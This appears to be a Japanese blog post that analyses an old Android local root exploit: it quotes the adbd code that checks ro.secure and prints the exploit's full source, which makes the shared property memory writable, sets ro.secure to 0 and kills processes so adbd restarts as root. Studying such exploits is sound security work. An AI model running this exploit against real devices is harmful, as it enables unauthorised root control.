例によって adbd のソースコードから見ていく。
property_get("ro.kernel.qemu", value, "");
if (strcmp(value, "1") != 0) {
property_get("ro.secure", value, "");
if (strcmp(value, "1") == 0) {
// don't run as root if ro.secure is set...
secure = 1;
// ... except we allow running as root in userdebug builds if the
// service.adb.root property has been set by the "adb root" command
property_get("ro.debuggable", value, "");
if (strcmp(value, "1") == 0) {
property_get("service.adb.root", value, "");
if (strcmp(value, "1") == 0) {
secure = 0;
}
}
}
}
/* don't listen on port 5037 if we are running in secure mode */
/* don't run as root if we are running in secure mode */
if (secure) {
struct __user_cap_header_struct header;
struct __user_cap_data_struct cap;
prctl(PR_SET_KEEPCAPS, 1, 0, 0, 0);
/* add extra groups:
** AID_ADB to access the USB driver
** AID_LOG to read system logs (adb logcat)
** AID_INPUT to diagnose input issues (getevent)
** AID_INET to diagnose network issues (netcfg, ping)
** AID_GRAPHICS to access the frame buffer
** AID_NET_BT and AID_NET_BT_ADMIN to diagnose bluetooth (hcidump)
** AID_SDCARD_RW to allow writing to the SD card
** AID_MOUNT to allow unmounting the SD card before rebooting
*/
gid_t groups[] = { AID_ADB, AID_LOG, AID_INPUT, AID_INET, AID_GRAPHICS,
AID_NET_BT, AID_NET_BT_ADMIN, AID_SDCARD_RW, AID_MOUNT };
setgroups(sizeof(groups)/sizeof(groups[0]), groups);
/* then switch user and group to "shell" */
setgid(AID_SHELL);
setuid(AID_SHELL);
ポイントは、865~868行目と、884行目以降。ro.secure というプロパティの値が 1 の場合、884行目以降の処理が行われ、905~906行目で adbd のプロセスの GID と UID が変更されてしまい、root 権限から降格される。つまり、ro.secure が 1 でなければ adbd の権限は降格されず、root のままになる。
ここで問題となるのが、ro.secure の値を取得している property_get()である。property_get() は property_service.c で定義されている。property_service は ashmem (Anonymous Shared Memory) を用いて実装されていて、/dev/ashmem/ を指すファイルディスクリプタを使用している。
参考までに、メモリマップの内容は以下の通り。
$ cat /proc/self/maps
cat /proc/self/maps
00008000-0001b000 r-xp 00000000 8a:09 275565 /system/bin/toolbox
0001b000-0001c000 rwxp 00013000 8a:09 275565 /system/bin/toolbox
0001c000-00022000 rwxp 00000000 00:00 0 [heap]
40000000-40008000 r-xs 00000000 00:04 1359 /dev/ashmem/system_properties (deleted)
(後略)
cat /proc/self/maps
00008000-0001b000 r-xp 00000000 8a:09 275565 /system/bin/toolbox
0001b000-0001c000 rwxp 00013000 8a:09 275565 /system/bin/toolbox
0001c000-00022000 rwxp 00000000 00:00 0 [heap]
40000000-40008000 r-xs 00000000 00:04 1359 /dev/ashmem/system_properties (deleted)
(後略)
次に KillingInTheNameOf のソースコードを見ていく。
char *find_prop_area() { char buf[256]; char *val = NULL; FILE *f = fopen("/proc/self/maps", "r"); if (!f) die("[-] fopen"); for (;!feof(f);) { if (!fgets(buf, sizeof(buf), f)) break; if (strstr(buf, "system_properties") != NULL) { val = strchr(buf, '-'); if (!val) break; *val = 0; val = (char *)strtoul(buf, NULL, 16); break; } } fclose(f); return val; } void restart_adb() { kill(-1, 9); } int main(int argc, char **argv) { char *prop = NULL; struct prop_info *pi = NULL; struct prop_area *pa = NULL; printf("[*] CVE-2010-743C Android local root exploit (C) 2010 743C\n"); printf("[*] The Android Exploid Crew Gentlemens club - dominating robots since 2008.\n\n"); printf("[*] Donate to 7-4-3-C@web.de if you like\n\n"); sleep(3); prop = find_prop_area(); if (!prop) die("[-] Cannot find prop area"); printf("[+] Found prop area @ %p\n", prop); if (mprotect(prop, PA_SIZE, PROT_READ|PROT_WRITE) < 0) die("[-] mprotect"); pi = (struct prop_info *)(prop + PA_INFO_START); pa = (struct prop_area *)prop; while (pa->count--) { printf("[*] %s: %s\n", pi->name, pi->value); if (strcmp(pi->name, "ro.secure") == 0) { strcpy(pi->value, "0"); printf("[+] ro.secure resetted to 0\n"); break; } ++pi; } printf("[*] Restarting adb. Please reconnect for rootshell (adb kill-server; adb -d shell).\n"); fflush(stdout); sleep(2); restart_adb(); return 0; }
56行目からの find_prop_area() では、/proc/self/maps の内容から /dev/ashmem/system_properties の割り当てられているメモリ領域の先頭アドレス(40000000)を取得している。106行目の mprotect() で、取得した領域から PA_SIZE(32768)バイト分のアクセス保護を読み書き可能に変更する。ここであっさりとアクセス保護が変更できてしまうため(脆弱性)、後は ro.secure というプロパティが定義されているか探して、値を 0 に変更しているのが 112~120行目の部分となっている。
ro.secure の値を変更したら、最後に KillingInTheNameOf を実行している adbd の権限で kill 可能な全てのプロセスを kill しておしまい(ちょっと横暴)。後は勝手に init が adbd を再起動してくれるので、adbd の起動プロセスで ro.secure が 0 であることを検知して root 権限のまま adbd が起動する。
0 件のコメント:
コメントを投稿